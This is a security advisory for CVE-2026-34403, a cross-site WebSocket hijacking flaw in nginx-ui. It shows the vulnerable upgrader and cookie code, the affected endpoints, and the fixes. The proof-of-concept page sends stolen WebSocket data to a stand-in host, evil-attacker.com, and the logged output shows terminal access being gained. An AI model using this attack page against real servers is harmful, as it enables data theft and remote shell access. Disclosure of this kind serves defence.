CVE-2026-34403

Description

## Summary All WebSocket endpoints in nginx-ui use a gorilla/websocket Upgrader with CheckOrigin unconditionally returning true, allowing Cross-Site WebSocket Hijacking (CSWSH). Combined with the fact that authentication tokens are stored in browser cookies (set via JavaScript without HttpOnly or explicit SameSite attributes), a malicious webpage can establish authenticated WebSocket connections to the nginx-ui instance when a logged-in administrator visits the attacker-controlled page. ## Details ### Vulnerable Code Pattern Every WebSocket endpoint in the codebase uses the same unsafe upgrader configuration: ```go // Found in: api/terminal/pty.go, api/analytic/analytic.go, api/event/websocket.go, // api/nginx_log/websocket.go, api/upstream/upstream.go, api/cluster/websocket.go, // api/nginx/websocket.go, api/certificate/revoke.go, api/sites/websocket.go, // api/llm/llm.go, api/llm/code_completion.go, api/system/upgrade.go var upgrader = websocket.Upgrader{ CheckOrigin: func(r *http.Request) bool { return true // Accepts ALL origins }, } ``` ### Cookie-Based Authentication The Vue.js frontend stores JWT tokens as cookies without security attributes (app/src/pinia/moudule/user.ts): ```typescript watch(token, v => { cookies.set('token', v, { maxAge: 86400 }) // No HttpOnly, no SameSite }) ``` The backend middleware accepts tokens from cookies (internal/middleware/middleware.go): ```go func getToken(c *gin.Context) (token string) { // ... if token, _ = c.Cookie("token"); token != "" { return token } return "" } ``` ### Affected Endpoints All WebSocket endpoints under the authenticated router group are vulnerable: | Endpoint | Impact | |---|---| | /api/nginx/detail_status/ws | Leak nginx performance metrics and configuration | | /api/events | Leak system processing events | | /api/analytic/intro | Leak CPU, memory, disk, network statistics | | /api/nginx_log | Read nginx log files (access/error logs) | | /api/pty | Interactive terminal access (RCE if OTP not enabled) | | /api/upgrade/perform | Trigger system binary upgrade | | /api/cluster/nodes/enabled | Leak and manipulate cluster node data | ## PoC ### Environment Setup ```yaml services: nginx-ui: image: uozi/nginx-ui:latest ports: - "9000:80" volumes: - nginx-ui-config:/etc/nginx-ui volumes: nginx-ui-config: ``` ### Attack Page (hosted on attacker-controlled domain) ```html <script> // Attacker page at http://evil-attacker.com // Victim must be logged into nginx-ui const ws = new WebSocket('ws://TARGET_NGINX_UI:9000/api/nginx/detail_status/ws'); ws.onopen = () => console.log('CSWSH: Connected from malicious origin!'); ws.onmessage = (e) => { console.log('Stolen data:', e.data); fetch('https://evil-attacker.com/collect', {method:'POST', body: e.data}); }; </script> ``` ### Automated PoC Results ``` [+] VULNERABLE! WebSocket connected from http://evil-attacker.com [+] Received: {"stub_status_enabled":false,"running":true,"info":{"active":0,...}} [+] VULNERABLE! Event stream from http://evil-attacker.com [+] Received: {"event":"processing_status","data":{"index_scanning":false,...}} [+] VULNERABLE! Analytics from http://evil-attacker.com [+] Received: {"avg_load":{"load1":0.1,"load5":0.2},"cpu_percent":0.08,...} [+] CRITICAL: Terminal connected from http://evil-attacker.com! [+] Terminal output: 'eae7a76e3ef4 login: ' [*] Sent username: root [+] Output: 'Password: ' [+] Control test (no auth): Correctly rejected with HTTP 403 ``` ## Impact An attacker can create a malicious webpage that, when visited by an authenticated nginx-ui administrator, silently: 1. **Steals sensitive server information** -- nginx configuration, performance metrics, CPU/memory/disk usage, network traffic statistics, and system events 2. **Reads nginx log files** -- potentially containing sensitive request data, IP addresses, and authentication tokens 3. **Gains interactive terminal access** -- if the administrator has not enabled OTP/2FA, the attacker obtains a full PTY shell on the server, achieving Remote Code Execution 4. **Triggers system operations** -- including nginx reload/restart and binary upgrades The attack requires no privileges and no knowledge of the victim's credentials. The only user interaction needed is visiting a webpage. ## Remediation 1. Implement proper origin validation in all WebSocket upgraders: ```go var upgrader = websocket.Upgrader{ CheckOrigin: func(r *http.Request) bool { origin := r.Header.Get("Origin") return isAllowedOrigin(origin) }, } ``` 2. Set secure cookie attributes: ```typescript cookies.set('token', v, { maxAge: 86400, sameSite: 'strict', secure: true }) ``` 3. Add CSRF token validation to WebSocket upgrade requests as defense-in-depth. A patch is available at https://github.com/0xJacky/nginx-ui/releases/tag/v2.3.5